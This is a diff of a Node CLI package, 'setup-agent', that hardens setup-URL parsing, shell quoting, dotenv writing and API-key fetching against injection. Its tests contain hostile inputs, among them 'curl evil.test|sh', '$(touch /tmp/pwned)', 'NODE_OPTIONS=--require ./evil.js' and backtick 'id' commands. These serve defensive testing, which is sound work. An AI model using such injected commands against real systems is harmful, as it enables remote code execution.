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"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "setup-agent",
-  "version": "0.0.7",
+  "version": "0.0.8",
   "description": "A live setup shared between a browser and the coding agent installing the products in it, on Statewire",
   "license": "MIT",
   "homepage": "https://www.assistant-ui.com/",
@@ -43,7 +43,7 @@
     "README.md"
   ],
   "dependencies": {
-    "@assistant-ui/tap": "^0.9.24",
+    "@assistant-ui/tap": "^0.9.25",
     "statewire": "^0.22.1"
   },
   "devDependencies": {

package/src/cli.test.ts

@@ -26,6 +26,7 @@ import {
   diffEvents,
   detectAgentKind,
   isDirectInvocation,
+  parseSetupUrl,
   upsertEnvLine,
   waitForStart,
   writeEnvSecret,
@@ -307,6 +308,87 @@ describe("upsertEnvLine", () => {
     ).toBe("A=1\nOPENAI_API_KEY=sk-2\nB=2\n");
     expect(upsertEnvLine("A=1\n", "B", "2")).toBe("A=1\nB=2\n");
   });
+
+  it.each([
+    "sk-1\nNODE_OPTIONS=--require ./evil.js",
+    "sk-1\rNODE_OPTIONS=x",
+    "sk-1\u0000",
+    "sk-1\u2028NODE_OPTIONS=x",
+    "sk-1\u0085NODE_OPTIONS=x",
+  ])("refuses a value that would add lines: %j", (value) => {
+    expect(() => upsertEnvLine("A=1\n", "OPENAI_API_KEY", value)).toThrow(
+      "must be a single line",
+    );
+  });
+
+  it("keeps an = inside the value on the key's own line", () => {
+    expect(upsertEnvLine("", "KEY", "abc==")).toBe("KEY=abc==\n");
+  });
+});
+
+describe("parseSetupUrl", () => {
+  it.each([
+    ["https://checkout.test/session", "https://checkout.test/session"],
+    ["https://checkout.test/session/", "https://checkout.test/session"],
+    ["https://checkout.test", "https://checkout.test"],
+    ["HTTPS://Checkout.Test:8443/a/b", "https://checkout.test:8443/a/b"],
+    ["http://localhost:18892/checkout/s", "http://localhost:18892/checkout/s"],
+    ["http://127.0.0.1:8787/checkout/s", "http://127.0.0.1:8787/checkout/s"],
+    ["http://[::1]:8787/checkout/s", "http://[::1]:8787/checkout/s"],
+    ["http://app.localhost/checkout/s", "http://app.localhost/checkout/s"],
+  ])("accepts %j", (value, href) => {
+    expect(parseSetupUrl(value)).toBe(href);
+  });
+
+  it.each([
+    ["not a url", "is not a URL"],
+    ["http://checkout.test/session", "must use https"],
+    ["http://localhost.evil.test/session", "must use https"],
+    ["ftp://checkout.test/session", "must use https"],
+    ["file:///etc/passwd", "must use https"],
+    ["javascript:alert(1)", "must use https"],
+    ["https://user:pass@checkout.test/session", "must not carry credentials"],
+    [
+      "https://checkout.test/session?x=$(touch /tmp/pwned)",
+      "query or fragment",
+    ],
+    ["https://checkout.test/session?", "query or fragment"],
+    ["https://checkout.test/session#`id`", "query or fragment"],
+    ["https://checkout.test/s;curl evil.test|sh", "characters"],
+    ["https://checkout.test/s$(id)", "characters"],
+    ["https://checkout.test/s'&&id&&'", "characters"],
+    ["https://checkout.test/s!x*y", "characters"],
+  ])("refuses %j", (value, message) => {
+    expect(() => parseSetupUrl(value)).toThrow(message);
+  });
+
+  it("keeps characters the parser escapes from reaching a shell", () => {
+    const href = parseSetupUrl('https://checkout.test/s`id`"x" y<z>{w}');
+    expect(href).toBe(
+      "https://checkout.test/s%60id%60%22x%22%20y%3Cz%3E%7Bw%7D",
+    );
+  });
+
+  it("refuses an unsafe URL before connecting", async () => {
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+      connectCheckoutMock.mockReset();
+    });
+    for (const url of [
+      "https://checkout.test/s;touch${IFS}/tmp/pwned",
+      "https://checkout.test/s?x=`id`",
+      "http://checkout.test/session",
+    ]) {
+      await expect(main([url, "status"])).rejects.toThrow("exit");
+    }
+    expect(connectCheckoutMock).not.toHaveBeenCalled();
+    expect(stderr).toHaveBeenCalledTimes(3);
+  });
 });
 
 describe("detectAgentKind", () => {
@@ -520,6 +602,19 @@ describe("begin planning", () => {
 });
 
 describe("agent instructions", () => {
+  it("prints a setup URL as one quoted shell word", () => {
+    const instructions = agentInstructions("https://checkout.test/a'b;c");
+    expect(instructions).toContain(
+      "npx setup-agent 'https://checkout.test/a'\\''b;c' stream",
+    );
+    expect(instructions).not.toContain(
+      "npx setup-agent https://checkout.test/a'",
+    );
+    expect(agentInstructions("https://checkout.test/s")).toContain(
+      "npx setup-agent https://checkout.test/s stream",
+    );
+  });
+
   it("discovers related products and asks contextual entry points before the plan", () => {
     const instructions = agentInstructions(
       "http://localhost:18892/checkout/session",
@@ -651,6 +746,15 @@ describe("writeEnvSecret", () => {
     expect(take).not.toHaveBeenCalled();
   });
 
+  it("leaves the file intact when the secret is refused", async () => {
+    const file = join(await tempDir(), ".env.local");
+    await writeFile(file, "A=1\nB=2\n");
+    await expect(
+      writeEnvSecret(file, "OPENAI_API_KEY", async () => "sk-test\nEVIL=1"),
+    ).rejects.toThrow();
+    expect(await readFile(file, "utf8")).toBe("A=1\nB=2\n");
+  });
+
   it("keeps lines another writer added while the secret was being taken", async () => {
     const file = join(await tempDir(), ".env.local");
     await writeEnvSecret(file, "OPENAI_API_KEY", async () => {
@@ -985,6 +1089,85 @@ describe("model key handoff", () => {
     expect(await readFile(keyFile, "utf8")).toBe(redeemKey);
   });
 
+  it.each([
+    "sk-1\nNODE_OPTIONS=--require ./evil.js",
+    "sk-1\r\nNODE_OPTIONS=x",
+    "sk 1",
+    'sk-"1"',
+    "sk-$(id)",
+    "sk-1;id",
+    "sk-1|id",
+    "sk-1&id",
+    "sk-1>out",
+  ])(
+    "refuses a deposited key that is not one API key word: %j",
+    async (key) => {
+      const { state } = await setup();
+      answerModel(state);
+      vi.stubGlobal(
+        "fetch",
+        vi.fn(async () => new Response(key)),
+      );
+      const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+        throw new Error("exit");
+      });
+      const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+      onTestFinished(() => {
+        exit.mockRestore();
+        stderr.mockRestore();
+      });
+      const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
+      onTestFinished(() => rm(directory, { recursive: true, force: true }));
+      const file = join(directory, ".env.local");
+      await writeFile(file, "A=1\n");
+      await expect(
+        main([
+          "https://checkout.test/session",
+          "env",
+          "q1",
+          "OPENAI_API_KEY",
+          "--file",
+          file,
+        ]),
+      ).rejects.toThrow("exit");
+      expect(stderr).toHaveBeenCalledWith(
+        expect.stringContaining("the deposited key is not a valid API key"),
+      );
+      expect(await readFile(file, "utf8")).toBe("A=1\n");
+    },
+  );
+
+  it("never fetches the key over plain http off this machine", async () => {
+    await setup();
+    const fetch = vi.fn();
+    vi.stubGlobal("fetch", fetch);
+    const exit = vi.spyOn(process, "exit").mockImplementation(() => {
+      throw new Error("exit");
+    });
+    const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
+    onTestFinished(() => {
+      exit.mockRestore();
+      stderr.mockRestore();
+    });
+    connectCheckoutMock.mockClear();
+    await expect(
+      main(["http://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
+    ).rejects.toThrow("exit");
+    expect(stderr).toHaveBeenCalledWith(
+      expect.stringContaining("must use https"),
+    );
+    expect(connectCheckoutMock).not.toHaveBeenCalled();
+    expect(fetch).not.toHaveBeenCalled();
+  });
+
+  it("fetches the key over http on localhost", async () => {
+    const { state } = await setup();
+    const fetch = await redeem(state, "http://localhost:18892/checkout/s");
+    expect(fetch.mock.calls[0]?.[0]).toBe(
+      "http://localhost:18892/checkout/s/secret/q1?setup=setup-a",
+    );
+  });
+
   it.skipIf(process.platform === "win32")(
     "refuses a symbolic link for the stored key",
     async () => {

package/src/cli.ts

@@ -23,6 +23,7 @@ import {
   currentPlan,
   isAgentPresent,
   isClosed,
+  isLoopbackHostname,
   isOptionIcon,
   isValidModelAnswer,
   parseEntryPointOptions,
@@ -65,9 +66,56 @@ Commands (the url always comes first):
                                     Mark every remaining step done and propose closing; the user closes it.
 `;
 
-export const agentInstructions = (
-  url: string,
-) => `You are the coding agent for a setup the user opened in their browser. The browser shows this setup live; every command below updates it. The user watches the browser, not this terminal: once setup begins, send questions through "ask" so the user can answer in their browser.
+/** Characters a setup URL may hold: an origin and a path, nothing a shell or a reader treats as more than an address. */
+const SETUP_URL_PATTERN =
+  /^https?:\/\/[A-Za-z0-9.-]+(?::[0-9]+)?(?:\/[A-Za-z0-9._~%/-]*)?$|^http:\/\/\[::1\](?::[0-9]+)?(?:\/[A-Za-z0-9._~%/-]*)?$/;
+
+/**
+ * The normalized setup URL, or an error saying why it is refused. A setup URL
+ * is printed into shell commands and the coding agent's prompt, and the API
+ * key travels over it, so it must be https (http only on this machine), carry
+ * no credentials, query or fragment, and hold only address characters.
+ */
+export const parseSetupUrl = (value: string): string => {
+  let url: URL;
+  try {
+    url = new URL(value);
+  } catch {
+    throw new Error(`"${value}" is not a URL`);
+  }
+  if (
+    url.protocol !== "https:" &&
+    !(url.protocol === "http:" && isLoopbackHostname(url.hostname))
+  ) {
+    throw new Error("the setup URL must use https (http only on localhost)");
+  }
+  if (url.username !== "" || url.password !== "") {
+    throw new Error("the setup URL must not carry credentials");
+  }
+  if (
+    url.search !== "" ||
+    url.hash !== "" ||
+    value.includes("?") ||
+    value.includes("#")
+  ) {
+    throw new Error("the setup URL must not have a query or fragment");
+  }
+  const href = url.href.replace(/\/$/, "");
+  if (!SETUP_URL_PATTERN.test(href)) {
+    throw new Error("the setup URL has characters a setup URL does not use");
+  }
+  return href;
+};
+
+/** `value` as one shell word, quoted only when it holds more than plain URL characters. */
+const shellWord = (value: string) =>
+  /^[A-Za-z0-9._~%/:@=+,-]+$/.test(value)
+    ? value
+    : `'${value.replaceAll("'", `'\\''`)}'`;
+
+export const agentInstructions = (setupUrl: string) => {
+  const url = shellWord(setupUrl);
+  return `You are the coding agent for a setup the user opened in their browser. The browser shows this setup live; every command below updates it. The user watches the browser, not this terminal: once setup begins, send questions through "ask" so the user can answer in their browser.
 
 First, start a persistent Monitor on
   npx setup-agent ${url} stream
@@ -110,6 +158,7 @@ Before that, start the project's dev server in the background when the project h
   npx setup-agent ${url} wait start
 which returns once that setup begins, then run "status" for its products, guides and instructions and go through plan and install again. A "setup.created" event while you are still working means the user replaced this setup: drop what you were doing and start over the same way.
 `;
+};
 
 export const INSTRUCTIONS = agentInstructions;
 
@@ -242,7 +291,7 @@ const chooseLauncher = async () => {
 
 const launchAgent = async (url: string) => {
   const launcher = await chooseLauncher();
-  const prompt = `Run \`npx setup-agent ${url}\` and follow the instructions it prints.`;
+  const prompt = `Run \`npx setup-agent ${shellWord(url)}\` and follow the instructions it prints.`;
   process.stdout.write(`\nStarting ${launcher.name}...\n\n`);
   const child = spawn(launcher.command, launcher.args(prompt), {
     stdio: "inherit",
@@ -654,6 +703,16 @@ const assertEnvKey = (key: string) => {
 /** Sets `key=value` in dotenv text, replacing an existing line for the key. */
 export const upsertEnvLine = (content: string, key: string, value: string) => {
   assertEnvKey(key);
+  // A line break or other control character would end the line and let the
+  // value write lines of its own.
+  const isLineBreaking = (code: number) =>
+    code < 0x20 ||
+    (code >= 0x7f && code <= 0x9f) ||
+    code === 0x2028 ||
+    code === 0x2029;
+  if ([...value].some((char) => isLineBreaking(char.charCodeAt(0)))) {
+    throw new Error(`the value for ${key} must be a single line`);
+  }
   const line = `${key}=${value}`;
   const lines = content === "" ? [] : content.replace(/\n$/, "").split("\n");
   const index = lines.findIndex(
@@ -722,8 +781,10 @@ export const writeEnvSecret = async (
     await handle.chmod(0o600);
     const value = await take();
     const current = await handle.readFile("utf8");
+    // Built before truncating, so a refused value leaves the file intact.
+    const next = upsertEnvLine(current, key, value);
     await handle.truncate(0);
-    await handle.writeFile(upsertEnvLine(current, key, value));
+    await handle.writeFile(next);
   } finally {
     await handle.close();
   }
@@ -855,7 +916,12 @@ export const main = async (argv: readonly string[]) => {
     process.stdout.write(HELP);
     return process.exit(first === undefined ? 1 : 0);
   }
-  const url = first;
+  let url: string;
+  try {
+    url = parseSetupUrl(first);
+  } catch (error) {
+    return fail(error instanceof Error ? error.message : String(error));
+  }
   if (command === "intro" && isDirectInvocation()) return launchAgent(url);
 
   const client = await connectCheckout(url).catch((error: unknown) =>
@@ -1023,6 +1089,16 @@ export const main = async (argv: readonly string[]) => {
         }
         const file = resolve(flagText(flags, "file") ?? ".env.local");
         await writeEnvSecret(file, envKey, async () => {
+          const secretUrl = new URL(url);
+          if (
+            secretUrl.protocol !== "https:" &&
+            !(
+              secretUrl.protocol === "http:" &&
+              isLoopbackHostname(secretUrl.hostname)
+            )
+          ) {
+            fail("the key is only fetched over https");
+          }
           const response = await fetch(
             `${url.replace(/\/$/, "")}/secret/${encodeURIComponent(inputId)}?setup=${encodeURIComponent(setupId)}`,
             storedKey === undefined
@@ -1038,7 +1114,14 @@ export const main = async (argv: readonly string[]) => {
             );
           }
           if (!response.ok) fail(`could not fetch the key: ${response.status}`);
-          return response.text();
+          const key = await response.text();
+          // An API key is one word of letters, digits and a few separators;
+          // anything else could break out of the env line, be read differently
+          // by dotenv, or run as shell syntax when the file is sourced.
+          if (!/^[A-Za-z0-9._~+/=:@%,-]+$/.test(key)) {
+            fail("the deposited key is not a valid API key");
+          }
+          return key;
         });
         if (storedKey !== undefined) {
           await unlink(storedKey.file).catch((error: NodeJS.ErrnoException) => {

package/src/protocol.ts

@@ -339,11 +339,13 @@ export const parsePreviewUrl = (value: string | undefined) => {
   }
   if (url.protocol !== "http:" && url.protocol !== "https:") return undefined;
   if (url.username !== "" || url.password !== "") return undefined;
-  const loopback =
-    LOOPBACK_HOSTS.has(url.hostname) || url.hostname.endsWith(".localhost");
-  return loopback ? url : undefined;
+  return isLoopbackHostname(url.hostname) ? url : undefined;
 };
 
+/** True for a hostname that names this machine. */
+export const isLoopbackHostname = (hostname: string) =>
+  LOOPBACK_HOSTS.has(hostname) || hostname.endsWith(".localhost");
+
 export const openInputs = (state: Checkout.State) =>
   state.inputs.filter((input) => input.status === "open");